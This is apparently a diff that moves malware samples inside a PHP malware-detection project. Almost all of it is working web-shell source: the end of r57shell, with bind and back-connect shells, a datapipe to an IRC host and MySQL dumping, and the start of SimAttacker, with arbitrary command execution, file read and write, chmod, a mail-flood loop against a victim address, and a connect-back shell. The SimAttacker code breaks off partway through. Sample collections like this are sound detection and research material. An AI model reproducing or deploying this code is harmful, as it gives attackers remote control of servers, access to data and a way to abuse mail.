| 2260 | echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1')); | 2260 | echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1')); |
| 2261 | echo sr(45,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); | 2261 | echo sr(45,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); |
| 2262 | echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9'])); | 2262 | echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9'])); |
| 2263 | echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; | 2263 | echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; |
| 2264 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; | 2264 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; |
| 2265 | echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); | 2265 | echo sr(45,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); |
| 2266 | echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); | 2266 | echo sr(45,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); |
| 2267 | echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); | 2267 | echo sr(45,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); |
| 2268 | echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); | 2268 | echo sr(45,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); |
| 2269 | echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); | 2269 | echo sr(45,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); |
| 2270 | echo sr(45,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); | 2270 | echo sr(45,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); |
| 2271 | echo $te."<div align=center id='n'><textarea cols=35 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>"; | 2271 | echo $te."<div align=center id='n'><textarea cols=35 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>"; |
| 2272 | } | 2272 | } |
| 2273 | if(!$safe_mode&&!$windows){ | 2273 | if(!$safe_mode&&!$windows){ |
| 2274 | echo $table_up1.$lang[$language.'_text81'].up_down('id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; | 2274 | echo $table_up1.$lang[$language.'_text81'].up_down('id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts; |
| 2275 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; | 2275 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; |
| 2276 | echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')); | 2276 | echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457')); |
| 2277 | echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57')); | 2277 | echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57')); |
| 2278 | echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); | 2278 | echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); |
| 2279 | echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); | 2279 | echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); |
| 2280 | echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; | 2280 | echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; |
| 2281 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; | 2281 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; |
| 2282 | echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); | 2282 | echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); |
| 2283 | echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); | 2283 | echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); |
| 2284 | echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); | 2284 | echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); |
| 2285 | echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); | 2285 | echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); |
| 2286 | echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; | 2286 | echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; |
| 2287 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; | 2287 | echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; |
| 2288 | echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')); | 2288 | echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457')); |
| 2289 | echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru')); | 2289 | echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru')); |
| 2290 | echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); | 2290 | echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667')); |
| 2291 | echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); | 2291 | echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); |
| 2292 | echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); | 2292 | echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); |
| 2293 | echo $te."</td>".$fe."</tr></div></table>"; | 2293 | echo $te."</td>".$fe."</tr></div></table>"; |
| 2294 | } | 2294 | } |
| 2295 | 2295 | ||
| 2296 | echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell - http-shell by RST/GHC | <a href=http://rst.void.ru>http://rst.void.ru</a> | <a href=http://ghc.ru>http://ghc.ru</a> | version ".$version." ]---o</b></font></div></td></tr></table> | 2296 | echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell - http-shell by RST/GHC | <a href=http://rst.void.ru>http://rst.void.ru</a> | <a href=http://ghc.ru>http://ghc.ru</a> | version ".$version." ]---o</b></font></div></td></tr></table> |
| 2297 | 2297 | ||
| 2298 | 2298 | ||
| 2299 | </body></html>"; | 2299 | </body></html>"; |
| 2300 | 2300 | ||
| 2301 | 2301 | ||
| 2302 | ?> \ No newline at end of file | 2302 | ?> \ No newline at end of file |
diff --git a/php-malware-finder/samples/classic/simattacker.php b/data/samples/classic/simattacker.php index 79b49d0..7e6f057 100644 --- a/php-malware-finder/samples/classic/simattacker.php +++ b/data/samples/classic/simattacker.php | |||
| @@ -1,756 +1,756 @@ | |||
| 1 | <? | 1 | <? |
| 2 | 2 | ||
| 3 | //download Files Code | 3 | //download Files Code |
| 4 | 4 | ||
| 5 | $fdownload=$_GET['fdownload']; | 5 | $fdownload=$_GET['fdownload']; |
| 6 | 6 | ||
| 7 | if ($fdownload <> "" ){ | 7 | if ($fdownload <> "" ){ |
| 8 | 8 | ||
| 9 | // path & file name | 9 | // path & file name |
| 10 | 10 | ||
| 11 | $path_parts = pathinfo("$fdownload"); | 11 | $path_parts = pathinfo("$fdownload"); |
| 12 | 12 | ||
| 13 | $entrypath=$path_parts["basename"]; | 13 | $entrypath=$path_parts["basename"]; |
| 14 | 14 | ||
| 15 | $name = "$fdownload"; | 15 | $name = "$fdownload"; |
| 16 | 16 | ||
| 17 | $fp = fopen($name, 'rb'); | 17 | $fp = fopen($name, 'rb'); |
| 18 | 18 | ||
| 19 | header("Content-Disposition: attachment; filename=$entrypath"); | 19 | header("Content-Disposition: attachment; filename=$entrypath"); |
| 20 | 20 | ||
| 21 | header("Content-Length: " . filesize($name)); | 21 | header("Content-Length: " . filesize($name)); |
| 22 | 22 | ||
| 23 | fpassthru($fp); | 23 | fpassthru($fp); |
| 24 | 24 | ||
| 25 | exit; | 25 | exit; |
| 26 | 26 | ||
| 27 | } | 27 | } |
| 28 | 28 | ||
| 29 | ?> | 29 | ?> |
| 30 | 30 | ||
| 31 | 31 | ||
| 32 | 32 | ||
| 33 | <html> | 33 | <html> |
| 34 | 34 | ||
| 35 | 35 | ||
| 36 | 36 | ||
| 37 | <head> | 37 | <head> |
| 38 | 38 | ||
| 39 | <meta http-equiv="Content-Language" content="en-us"> | 39 | <meta http-equiv="Content-Language" content="en-us"> |
| 40 | 40 | ||
| 41 | <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> | 41 | <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> |
| 42 | 42 | ||
| 43 | <title>SimAttacker - Vrsion : 1.0.0 - priv8 4 My friend </title> | 43 | <title>SimAttacker - Vrsion : 1.0.0 - priv8 4 My friend </title> |
| 44 | <style> | 44 | <style> |
| 45 | 45 | ||
| 46 | <!-- | 46 | <!-- |
| 47 | 47 | ||
| 48 | body { font-family: Tahoma; font-size: 8pt } | 48 | body { font-family: Tahoma; font-size: 8pt } |
| 49 | 49 | ||
| 50 | --> | 50 | --> |
| 51 | 51 | ||
| 52 | </style> | 52 | </style> |
| 53 | 53 | ||
| 54 | </head> | 54 | </head> |
| 55 | 55 | ||
| 56 | <body> | 56 | <body> |
| 57 | 57 | ||
| 58 | <? | 58 | <? |
| 59 | 59 | ||
| 60 | error_reporting(E_ERROR | E_WARNING | E_PARSE); | 60 | error_reporting(E_ERROR | E_WARNING | E_PARSE); |
| 61 | 61 | ||
| 62 | 62 | ||
| 63 | 63 | ||
| 64 | //File Edit | 64 | //File Edit |
| 65 | 65 | ||
| 66 | $fedit=$_GET['fedit']; | 66 | $fedit=$_GET['fedit']; |
| 67 | 67 | ||
| 68 | if ($fedit <> "" ){ | 68 | if ($fedit <> "" ){ |
| 69 | 69 | ||
| 70 | $fedit=realpath($fedit); | 70 | $fedit=realpath($fedit); |
| 71 | 71 | ||
| 72 | $lines = file($fedit); | 72 | $lines = file($fedit); |
| 73 | 73 | ||
| 74 | echo "<form action='' method='POST'>"; | 74 | echo "<form action='' method='POST'>"; |
| 75 | 75 | ||
| 76 | echo "<textarea name='savefile' rows=30 cols=80>" ; | 76 | echo "<textarea name='savefile' rows=30 cols=80>" ; |
| 77 | 77 | ||
| 78 | foreach ($lines as $line_num => $line) { | 78 | foreach ($lines as $line_num => $line) { |
| 79 | 79 | ||
| 80 | echo htmlspecialchars($line); | 80 | echo htmlspecialchars($line); |
| 81 | 81 | ||
| 82 | } | 82 | } |
| 83 | 83 | ||
| 84 | echo "</textarea> | 84 | echo "</textarea> |
| 85 | 85 | ||
| 86 | <input type='text' name='filepath' size='60' value='$fedit'> | 86 | <input type='text' name='filepath' size='60' value='$fedit'> |
| 87 | 87 | ||
| 88 | <input type='submit' value='save'></form>"; | 88 | <input type='submit' value='save'></form>"; |
| 89 | 89 | ||
| 90 | $savefile=$_POST['savefile']; | 90 | $savefile=$_POST['savefile']; |
| 91 | 91 | ||
| 92 | $filepath=realpath($_POST['filepath']); | 92 | $filepath=realpath($_POST['filepath']); |
| 93 | 93 | ||
| 94 | if ($savefile <> "") | 94 | if ($savefile <> "") |
| 95 | 95 | ||
| 96 | { | 96 | { |
| 97 | 97 | ||
| 98 | $fp=fopen("$filepath","w+"); | 98 | $fp=fopen("$filepath","w+"); |
| 99 | 99 | ||
| 100 | fwrite ($fp,"") ; | 100 | fwrite ($fp,"") ; |
| 101 | 101 | ||
| 102 | fwrite ($fp,$savefile) ; | 102 | fwrite ($fp,$savefile) ; |
| 103 | 103 | ||
| 104 | fclose($fp); | 104 | fclose($fp); |
| 105 | 105 | ||
| 106 | echo "<script language='javascript'> close()</script>"; | 106 | echo "<script language='javascript'> close()</script>"; |
| 107 | 107 | ||
| 108 | } | 108 | } |
| 109 | 109 | ||
| 110 | exit(); | 110 | exit(); |
| 111 | 111 | ||
| 112 | } | 112 | } |
| 113 | 113 | ||
| 114 | ?> | 114 | ?> |
| 115 | 115 | ||
| 116 | <? | 116 | <? |
| 117 | 117 | ||
| 118 | // CHmod - PRimission | 118 | // CHmod - PRimission |
| 119 | 119 | ||
| 120 | $fchmod=$_GET['fchmod']; | 120 | $fchmod=$_GET['fchmod']; |
| 121 | 121 | ||
| 122 | if ($fchmod <> "" ){ | 122 | if ($fchmod <> "" ){ |
| 123 | 123 | ||
| 124 | $fchmod=realpath($fchmod); | 124 | $fchmod=realpath($fchmod); |
| 125 | 125 | ||
| 126 | echo "<center><br> | 126 | echo "<center><br> |
| 127 | 127 | ||
| 128 | chmod for :$fchmod<br> | 128 | chmod for :$fchmod<br> |
| 129 | 129 | ||
| 130 | <form method='POST' action=''><br> | 130 | <form method='POST' action=''><br> |
| 131 | 131 | ||
| 132 | Chmod :<br> | 132 | Chmod :<br> |
| 133 | 133 | ||
| 134 | <input type='text' name='chmod0' ><br> | 134 | <input type='text' name='chmod0' ><br> |
| 135 | 135 | ||
| 136 | <input type='submit' value='change chmod'> | 136 | <input type='submit' value='change chmod'> |
| 137 | 137 | ||
| 138 | </form>"; | 138 | </form>"; |
| 139 | 139 | ||
| 140 | $chmod0=$_POST['chmod0']; | 140 | $chmod0=$_POST['chmod0']; |
| 141 | 141 | ||
| 142 | if ($chmod0 <> ""){ | 142 | if ($chmod0 <> ""){ |
| 143 | 143 | ||
| 144 | chmod ($fchmod , $chmod0); | 144 | chmod ($fchmod , $chmod0); |
| 145 | 145 | ||
| 146 | }else { | 146 | }else { |
| 147 | 147 | ||
| 148 | echo "primission Not Allow change Chmod"; | 148 | echo "primission Not Allow change Chmod"; |
| 149 | 149 | ||
| 150 | } | 150 | } |
| 151 | 151 | ||
| 152 | exit(); | 152 | exit(); |
| 153 | 153 | ||
| 154 | } | 154 | } |
| 155 | 155 | ||
| 156 | ?> | 156 | ?> |
| 157 | 157 | ||
| 158 | 158 | ||
| 159 | 159 | ||
| 160 | <div align="center"> | 160 | <div align="center"> |
| 161 | 161 | ||
| 162 | <table border="1" width="100%" id="table1" style="border: 1px dotted #FFCC99" cellspacing="0" cellpadding="0" height="502"> | 162 | <table border="1" width="100%" id="table1" style="border: 1px dotted #FFCC99" cellspacing="0" cellpadding="0" height="502"> |
| 163 | 163 | ||
| 164 | <tr> | 164 | <tr> |
| 165 | 165 | ||
| 166 | <td style="border: 1px dotted #FFCC66" valign="top" rowspan="2"> | 166 | <td style="border: 1px dotted #FFCC66" valign="top" rowspan="2"> |
| 167 | 167 | ||
| 168 | <p align="center"><b> | 168 | <p align="center"><b> |
| 169 | 169 | ||
| 170 | <font face="Tahoma" size="2"><br> | 170 | <font face="Tahoma" size="2"><br> |
| 171 | 171 | ||
| 172 | </font> | 172 | </font> |
| 173 | 173 | ||
| 174 | <font color="#D2D200" face="Tahoma" size="2"> | 174 | <font color="#D2D200" face="Tahoma" size="2"> |
| 175 | 175 | ||
| 176 | <span style="text-decoration: none"> | 176 | <span style="text-decoration: none"> |
| 177 | 177 | ||
| 178 | <font color="#000000"> | 178 | <font color="#000000"> |
| 179 | 179 | ||
| 180 | <a href="?id=fm&dir=<? | 180 | <a href="?id=fm&dir=<? |
| 181 | 181 | ||
| 182 | echo getcwd(); | 182 | echo getcwd(); |
| 183 | 183 | ||
| 184 | ?> | 184 | ?> |
| 185 | 185 | ||
| 186 | "> | 186 | "> |
| 187 | 187 | ||
| 188 | <span style="text-decoration: none"><font color="#000000">File Manager</font></span></a></font></span></font></b></p> | 188 | <span style="text-decoration: none"><font color="#000000">File Manager</font></span></a></font></span></font></b></p> |
| 189 | 189 | ||
| 190 | <p align="center"><b><a href="?id=cmd"> | 190 | <p align="center"><b><a href="?id=cmd"> |
| 191 | 191 | ||
| 192 | <span style="text-decoration: none"> | 192 | <span style="text-decoration: none"> |
| 193 | 193 | ||
| 194 | <font face="Tahoma" size="2" color="#000000"> | 194 | <font face="Tahoma" size="2" color="#000000"> |
| 195 | 195 | ||
| 196 | CMD</font></span></a><font face="Tahoma" size="2"> Shell</font></b></p> | 196 | CMD</font></span></a><font face="Tahoma" size="2"> Shell</font></b></p> |
| 197 | 197 | ||
| 198 | <p align="center"><b><a href="?id=fake-mail"> | 198 | <p align="center"><b><a href="?id=fake-mail"> |
| 199 | 199 | ||
| 200 | <font face="Tahoma" size="2" color="#000000"> | 200 | <font face="Tahoma" size="2" color="#000000"> |
| 201 | 201 | ||
| 202 | <span style="text-decoration: none">Fake mail</span></font></a></b></p> | 202 | <span style="text-decoration: none">Fake mail</span></font></a></b></p> |
| 203 | 203 | ||
| 204 | <p align="center"><b> | 204 | <p align="center"><b> |
| 205 | 205 | ||
| 206 | <font face="Tahoma" size="2" color="#000000"> | 206 | <font face="Tahoma" size="2" color="#000000"> |
| 207 | 207 | ||
| 208 | <a href="?id=cshell"> | 208 | <a href="?id=cshell"> |
| 209 | 209 | ||
| 210 | <span style="text-decoration: none"><font color="#000000">Connect Back</font></span></a></font></b></p> | 210 | <span style="text-decoration: none"><font color="#000000">Connect Back</font></span></a></font></b></p> |
| 211 | 211 | ||
| 212 | <p align="center"><b> | 212 | <p align="center"><b> |
| 213 | 213 | ||
| 214 | <font color="#000000" face="Tahoma" size="2"> | 214 | <font color="#000000" face="Tahoma" size="2"> |
| 215 | 215 | ||
| 216 | <a href="?id="> | 216 | <a href="?id="> |
| 217 | 217 | ||
| 218 | <span style="text-decoration: none"><font color="#000000">About</font></span></a></font></b></p> | 218 | <span style="text-decoration: none"><font color="#000000">About</font></span></a></font></b></p> |
| 219 | 219 | ||
| 220 | <p> <p align="center"> </td> | 220 | <p> <p align="center"> </td> |
| 221 | 221 | ||
| 222 | <td height="422" width="82%" style="border: 1px dotted #FFCC66" align="center"> | 222 | <td height="422" width="82%" style="border: 1px dotted #FFCC66" align="center"> |
| 223 | 223 | ||
| 224 | <? | 224 | <? |
| 225 | 225 | ||
| 226 | //******************************************************* | 226 | //******************************************************* |
| 227 | 227 | ||
| 228 | //Start Programs About US | 228 | //Start Programs About US |
| 229 | 229 | ||
| 230 | $id=$_GET['id']; | 230 | $id=$_GET['id']; |
| 231 | 231 | ||
| 232 | 232 | ||
| 233 | 233 | ||
| 234 | if ($id=="") { | 234 | if ($id=="") { |
| 235 | 235 | ||
| 236 | echo " | 236 | echo " |
| 237 | 237 | ||
| 238 | <font face='Arial Black' color='#808080' size='1'> | 238 | <font face='Arial Black' color='#808080' size='1'> |
| 239 | 239 | ||
| 240 | ***************************************************************************<br> | 240 | ***************************************************************************<br> |
| 241 | 241 | ||
| 242 | Iranian Hackers : WWW.SIMORGH-EV.COM <br> | 242 | Iranian Hackers : WWW.SIMORGH-EV.COM <br> |
| 243 | 243 | ||
| 244 | Programer : Hossein Asgary <br> | 244 | Programer : Hossein Asgary <br> |
| 245 | 245 | ||
| 246 | Note : SimAttacker Have copyright from simorgh security Group <br> | 246 | Note : SimAttacker Have copyright from simorgh security Group <br> |
| 247 | 247 | ||
| 248 | please : If you find bug or problems in program , tell me by : <br> | 248 | please : If you find bug or problems in program , tell me by : <br> |
| 249 | 249 | ||
| 250 | e-mail : admin(at)simorgh-ev(dot)com<br> | 250 | e-mail : admin(at)simorgh-ev(dot)com<br> |
| 251 | 251 | ||
| 252 | Enjoy :) [Only 4 Best Friends ] <br> | 252 | Enjoy :) [Only 4 Best Friends ] <br> |
| 253 | 253 | ||
| 254 | ***************************************************************************</font></span></p> | 254 | ***************************************************************************</font></span></p> |
| 255 | 255 | ||
| 256 | "; | 256 | "; |
| 257 | 257 | ||
| 258 | 258 | ||
| 259 | 259 | ||
| 260 | echo "<font color='#333333' size='2'>OS :". php_uname(); | 260 | echo "<font color='#333333' size='2'>OS :". php_uname(); |
| 261 | 261 | ||
| 262 | echo "<br>IP :". | 262 | echo "<br>IP :". |
| 263 | 263 | ||
| 264 | ($_SERVER['REMOTE_ADDR']); | 264 | ($_SERVER['REMOTE_ADDR']); |
| 265 | 265 | ||
| 266 | echo "</font>"; | 266 | echo "</font>"; |
| 267 | 267 | ||
| 268 | 268 | ||
| 269 | 269 | ||
| 270 | 270 | ||
| 271 | 271 | ||
| 272 | } | 272 | } |
| 273 | 273 | ||
| 274 | //************************************************************ | 274 | //************************************************************ |
| 275 | 275 | ||
| 276 | //cmd-command line | 276 | //cmd-command line |
| 277 | 277 | ||
| 278 | $cmd=$_POST['cmd']; | 278 | $cmd=$_POST['cmd']; |
| 279 | 279 | ||
| 280 | if($id=="cmd"){ | 280 | if($id=="cmd"){ |
| 281 | 281 | ||
| 282 | $result=shell_exec("$cmd"); | 282 | $result=shell_exec("$cmd"); |
| 283 | 283 | ||
| 284 | echo "<br><center><h3> CMD ExeCute </h3></center>" ; | 284 | echo "<br><center><h3> CMD ExeCute </h3></center>" ; |
| 285 | 285 | ||
| 286 | echo "<center> | 286 | echo "<center> |
| 287 | 287 | ||
| 288 | <textarea rows=20 cols=70 >$result</textarea><br> | 288 | <textarea rows=20 cols=70 >$result</textarea><br> |
| 289 | 289 | ||
| 290 | <form method='POST' action=''> | 290 | <form method='POST' action=''> |
| 291 | 291 | ||
| 292 | <input type='hidden' name='id' value='cmd'> | 292 | <input type='hidden' name='id' value='cmd'> |
| 293 | 293 | ||
| 294 | <input type='text' size='80' name='cmd' value='$cmd'> | 294 | <input type='text' size='80' name='cmd' value='$cmd'> |
| 295 | 295 | ||
| 296 | <input type='submit' value='cmd'><br>"; | 296 | <input type='submit' value='cmd'><br>"; |
| 297 | 297 | ||
| 298 | 298 | ||
| 299 | 299 | ||
| 300 | 300 | ||
| 301 | 301 | ||
| 302 | 302 | ||
| 303 | 303 | ||
| 304 | } | 304 | } |
| 305 | 305 | ||
| 306 | 306 | ||
| 307 | 307 | ||
| 308 | //******************************************************** | 308 | //******************************************************** |
| 309 | 309 | ||
| 310 | 310 | ||
| 311 | 311 | ||
| 312 | //fake mail = Use victim server 4 DOS - fake mail | 312 | //fake mail = Use victim server 4 DOS - fake mail |
| 313 | 313 | ||
| 314 | if ( $id=="fake-mail"){ | 314 | if ( $id=="fake-mail"){ |
| 315 | 315 | ||
| 316 | error_reporting(0); | 316 | error_reporting(0); |
| 317 | 317 | ||
| 318 | echo "<br><center><h3> Fake Mail- DOS E-mail By Victim Server </h3></center>" ; | 318 | echo "<br><center><h3> Fake Mail- DOS E-mail By Victim Server </h3></center>" ; |
| 319 | 319 | ||
| 320 | echo "<center><form method='post' action=''> | 320 | echo "<center><form method='post' action=''> |
| 321 | 321 | ||
| 322 | Victim Mail :<br><input type='text' name='to' ><br> | 322 | Victim Mail :<br><input type='text' name='to' ><br> |
| 323 | 323 | ||
| 324 | Number-Mail :<br><input type='text' size='5' name='nom' value='100'><br> | 324 | Number-Mail :<br><input type='text' size='5' name='nom' value='100'><br> |
| 325 | 325 | ||
| 326 | Comments: | 326 | Comments: |
| 327 | 327 | ||
| 328 | <br> | 328 | <br> |
| 329 | 329 | ||
| 330 | <textarea rows='10' cols=50 name='Comments' ></textarea><br> | 330 | <textarea rows='10' cols=50 name='Comments' ></textarea><br> |
| 331 | 331 | ||
| 332 | <input type='submit' value='Send Mail Strm ' > | 332 | <input type='submit' value='Send Mail Strm ' > |
| 333 | 333 | ||
| 334 | </form></center>"; | 334 | </form></center>"; |
| 335 | 335 | ||
| 336 | //send Storm Mail | 336 | //send Storm Mail |
| 337 | 337 | ||
| 338 | $to=$_POST['to']; | 338 | $to=$_POST['to']; |
| 339 | 339 | ||
| 340 | $nom=$_POST['nom']; | 340 | $nom=$_POST['nom']; |
| 341 | 341 | ||
| 342 | $Comments=$_POST['Comments']; | 342 | $Comments=$_POST['Comments']; |
| 343 | 343 | ||
| 344 | if ($to <> "" ){ | 344 | if ($to <> "" ){ |
| 345 | 345 | ||
| 346 | for ($i = 0; $i < $nom ; $i++){ | 346 | for ($i = 0; $i < $nom ; $i++){ |
| 347 | 347 | ||
| 348 | $from = rand (71,1020000000)."@"."Attacker.com"; | 348 | $from = rand (71,1020000000)."@"."Attacker.com"; |
| 349 | 349 | ||
| 350 | $subject= md5("$from"); | 350 | $subject= md5("$from"); |
| 351 | 351 | ||
| 352 | mail($to,$subject,$Comments,"From:$from"); | 352 | mail($to,$subject,$Comments,"From:$from"); |
| 353 | 353 | ||
| 354 | echo "$i is ok"; | 354 | echo "$i is ok"; |
| 355 | 355 | ||
| 356 | } | 356 | } |
| 357 | 357 | ||
| 358 | echo "<script language='javascript'> alert('Sending Mail - please waite ...')</script>"; | 358 | echo "<script language='javascript'> alert('Sending Mail - please waite ...')</script>"; |
| 359 | 359 | ||
| 360 | } | 360 | } |
| 361 | 361 | ||
| 362 | } | 362 | } |
| 363 | 363 | ||
| 364 | //******************************************************** | 364 | //******************************************************** |
| 365 | 365 | ||
| 366 | 366 | ||
| 367 | 367 | ||
| 368 | //Connect Back -Firewall Bypass | 368 | //Connect Back -Firewall Bypass |
| 369 | 369 | ||
| 370 | if ($id=="cshell"){ | 370 | if ($id=="cshell"){ |
| 371 | 371 | ||
| 372 | echo "<br>Connect back Shell , bypass Firewalls<br> | 372 | echo "<br>Connect back Shell , bypass Firewalls<br> |
| 373 | 373 | ||
| 374 | For user :<br> | 374 | For user :<br> |
| 375 | 375 | ||
| 376 | nc -l -p 1019 <br> | 376 | nc -l -p 1019 <br> |
| 377 | 377 | ||
| 378 | <hr> | 378 | <hr> |
| 379 | 379 | ||
| 380 | <form method='POST' action=''><br> | 380 | <form method='POST' action=''><br> |
| 381 | 381 | ||
| 382 | Your IP & BindPort:<br> | 382 | Your IP & BindPort:<br> |
| 383 | 383 | ||
| 384 | <input type='text' name='mip' > | 384 | <input type='text' name='mip' > |
| 385 | 385 | ||
| 386 | <input type='text' name='bport' size='5' value='1019'><br> | 386 | <input type='text' name='bport' size='5' value='1019'><br> |
| 387 | 387 | ||
| 388 | <input type='submit' value='Connect Back'> | 388 | <input type='submit' value='Connect Back'> |
| 389 | 389 | ||
| 390 | </form>"; | 390 | </form>"; |
| 391 | 391 | ||
| 392 | $mip=$_POST['mip']; | 392 | $mip=$_POST['mip']; |
| 393 | 393 | ||
| 394 | $bport=$_POST['bport']; | 394 | $bport=$_POST['bport']; |
| 395 | 395 | ||
| 396 | if ($mip <> "") | 396 | if ($mip <> "") |
| 397 | 397 | ||
| 398 | { | 398 | { |
| 399 | 399 | ||
| 400 | $fp=fsockopen($mip , $bport , $errno, $errstr); | 400 | $fp=fsockopen($mip , $bport , $errno, $errstr); |
| 401 | 401 | ||
| 402 | if (!$fp){ | 402 | if (!$fp){ |
| 403 | 403 | ||
| 404 | $result = "Error: could not open socket connection"; | 404 | $result = "Error: could not open socket connection"; |
| 405 | 405 | ||
| 406 | } | 406 | } |
